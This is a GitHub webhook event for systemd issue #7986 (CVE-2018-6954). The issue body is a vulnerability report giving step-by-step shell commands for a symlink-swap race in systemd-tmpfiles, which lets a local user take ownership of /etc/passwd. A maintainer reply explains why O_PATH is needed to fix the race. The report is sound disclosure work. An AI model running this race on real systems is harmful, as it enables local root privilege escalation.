{"action":"created","issue":{"url":"https://api.github.com/repos/systemd/systemd/issues/7986","repository_url":"https://api.github.com/repos/systemd/systemd","labels_url":"https://api.github.com/repos/systemd/systemd/issues/7986/labels{/name}","comments_url":"https://api.github.com/repos/systemd/systemd/issues/7986/comments","events_url":"https://api.github.com/repos/systemd/systemd/issues/7986/events","html_url":"https://github.com/systemd/systemd/issues/7986","id":291222014,"number":7986,"title":"tmpfiles: symlinks are followed in non-terminal path components (CVE-2018-6954)","user":{"login":"orlitzky","id":1432135,"avatar_url":"https://avatars3.githubusercontent.com/u/1432135?v=4","gravatar_id":"","url":"https://api.github.com/users/orlitzky","html_url":"https://github.com/orlitzky","followers_url":"https://api.github.com/users/orlitzky/followers","following_url":"https://api.github.com/users/orlitzky/following{/other_user}","gists_url":"https://api.github.com/users/orlitzky/gists{/gist_id}","starred_url":"https://api.github.com/users/orlitzky/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/orlitzky/subscriptions","organizations_url":"https://api.github.com/users/orlitzky/orgs","repos_url":"https://api.github.com/users/orlitzky/repos","events_url":"https://api.github.com/users/orlitzky/events{/privacy}","received_events_url":"https://api.github.com/users/orlitzky/received_events","type":"User","site_admin":false},"labels":[{"id":191919606,"url":"https://api.github.com/repos/systemd/systemd/labels/bug%20%F0%9F%90%9B","name":"bug 🐛","color":"e11d21","default":false},{"id":223160378,"url":"https://api.github.com/repos/systemd/systemd/labels/tmpfiles","name":"tmpfiles","color":"bfd4f2","default":false}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":{"url":"https://api.github.com/repos/systemd/systemd/milestones/15","html_url":"https://github.com/systemd/systemd/milestone/15","labels_url":"https://api.github.com/repos/systemd/systemd/milestones/15/labels","id":3060534,"number":15,"title":"v238","description":"","creator":{"login":"poettering","id":2130732,"avatar_url":"https://avatars1.githubusercontent.com/u/2130732?v=4","gravatar_id":"","url":"https://api.github.com/users/poettering","html_url":"https://github.com/poettering","followers_url":"https://api.github.com/users/poettering/followers","following_url":"https://api.github.com/users/poettering/following{/other_user}","gists_url":"https://api.github.com/users/poettering/gists{/gist_id}","starred_url":"https://api.github.com/users/poettering/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/poettering/subscriptions","organizations_url":"https://api.github.com/users/poettering/orgs","repos_url":"https://api.github.com/users/poettering/repos","events_url":"https://api.github.com/users/poettering/events{/privacy}","received_events_url":"https://api.github.com/users/poettering/received_events","type":"User","site_admin":false},"open_issues":2,"closed_issues":27,"state":"open","created_at":"2018-01-24T10:19:45Z","updated_at":"2018-02-28T01:56:10Z","due_on":null,"closed_at":null},"comments":7,"created_at":"2018-01-24T14:09:49Z","updated_at":"2018-02-28T10:29:45Z","closed_at":null,"author_association":"NONE","body":"Sorry to keep harassing you with these. I think `open()` is following symlinks that don't appear as the last path component. In other words, if we are at the point where tmpfiles is about to `open(/var/lib/systemd-exploit-recursive/foo/passwd,...)`, then I can replace the \"foo\" component with a symlink to `/etc`, resulting in `open(/etc/passwd,...)` and a fairly easy root exploit for any `Z` type.\r\n\r\nSame disclaimer: I'm running tmpfiles from a git checkout, but not booting systemd. Now I have `fs.protected_hardlinks=1` and `fs.protected_symlinks=1`. I'm using the same tmpfiles.d entry as before,\r\n\r\n```\r\n$ cat /etc/tmpfiles.d/exploit-recursive.conf \r\nd /var/lib/systemd-exploit-recursive 0755 mjo mjo\r\nZ /var/lib/systemd-exploit-recursive 0755 mjo mjo\r\n```\r\n\r\nI start the service once, so that `/var/lib/systemd-exploit-recursive` exists:\r\n\r\n```\r\n$ sudo ./build/systemd-tmpfiles --create\r\n```\r\n\r\nNow, as the owner (mjo) of `/var/lib/systemd-exploit-recursive`, I can do, in another terminal,\r\n\r\n```\r\n$ cd /var/lib/systemd-exploit-recursive\r\n$ mkdir foo\r\n$ cd foo\r\n$ echo $(seq 1 500000) | xargs touch\r\n$ touch passwd\r\n$ cd ..\r\n```\r\n\r\nThe 500,000 dummy files buy some time to swap in the symlink before the loop gets to `passwd`. Now, restart the service back in the first terminal...\r\n\r\n```\r\n$ sudo ./build/systemd-tmpfiles --create\r\n```\r\n\r\nAnd while that is busy looping on the 500,000 dummy files, swap out `foo` with a symlink in the second terminal:\r\n\r\n```\r\n$ mv foo bar && ln -s /etc ./foo\r\n```\r\n\r\n(I've used \"mv\" because \"rm\" is ironically slow at deleting my own dummy files.)\r\n\r\nThe end result is that I wind up as the owner of `/etc/passwd`, and the `fs.protected_symlinks` sysctl doesn't protect against this."},"comment":{"url":"https://api.github.com/repos/systemd/systemd/issues/comments/369196458","html_url":"https://github.com/systemd/systemd/issues/7986#issuecomment-369196458","issue_url":"https://api.github.com/repos/systemd/systemd/issues/7986","id":369196458,"user":{"login":"poettering","id":2130732,"avatar_url":"https://avatars1.githubusercontent.com/u/2130732?v=4","gravatar_id":"","url":"https://api.github.com/users/poettering","html_url":"https://github.com/poettering","followers_url":"https://api.github.com/users/poettering/followers","following_url":"https://api.github.com/users/poettering/following{/other_user}","gists_url":"https://api.github.com/users/poettering/gists{/gist_id}","starred_url":"https://api.github.com/users/poettering/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/poettering/subscriptions","organizations_url":"https://api.github.com/users/poettering/orgs","repos_url":"https://api.github.com/users/poettering/repos","events_url":"https://api.github.com/users/poettering/events{/privacy}","received_events_url":"https://api.github.com/users/poettering/received_events","type":"User","site_admin":false},"created_at":"2018-02-28T10:29:45Z","updated_at":"2018-02-28T10:29:45Z","author_association":"OWNER","body":"O_PATH allows us to pin any kind of file object, i.e. also symlinks, device nodes, sockets, regardless of the type, and without following/triggering it, and we can apply all kinds of attribute changes to it.\r\n\r\nIf we wouldn't use O_PATH then we can only realistically deal with regular files and directories, but given that these are not the only kind of nodes handling them is always racy: we wouldn't want to open() device nodes or fifos (since doing so as non-trivial effects on drivers and apps behind them), and we can't open sockets or symlinks (since that's simply not defined or does something weird), but if we'd check beforehand what they are and only then decide whether to open() them then things would be racy since they might have been swapped out in the meantime. Moreover, not using O_PATH always means that for regular files/dirs we could use fchmod()/fchown(), but for symlinks/device nodes/sockets/symlinks we'd have to use chmod()/chown()/… on the paths. O_PATH makes all these races and different codepaths go away: we can open the node right-away, regardless of its type and then invoke chmod()/chown()/… via the /proc/self/fd/%i pseudo-symlink, which works for all kinds of objects the same and requires no checking of type beforehand.\r\n\r\nHence yes, O_PATH is required to fix these races fully."}}
{"actor":{"display_login":"poettering"}}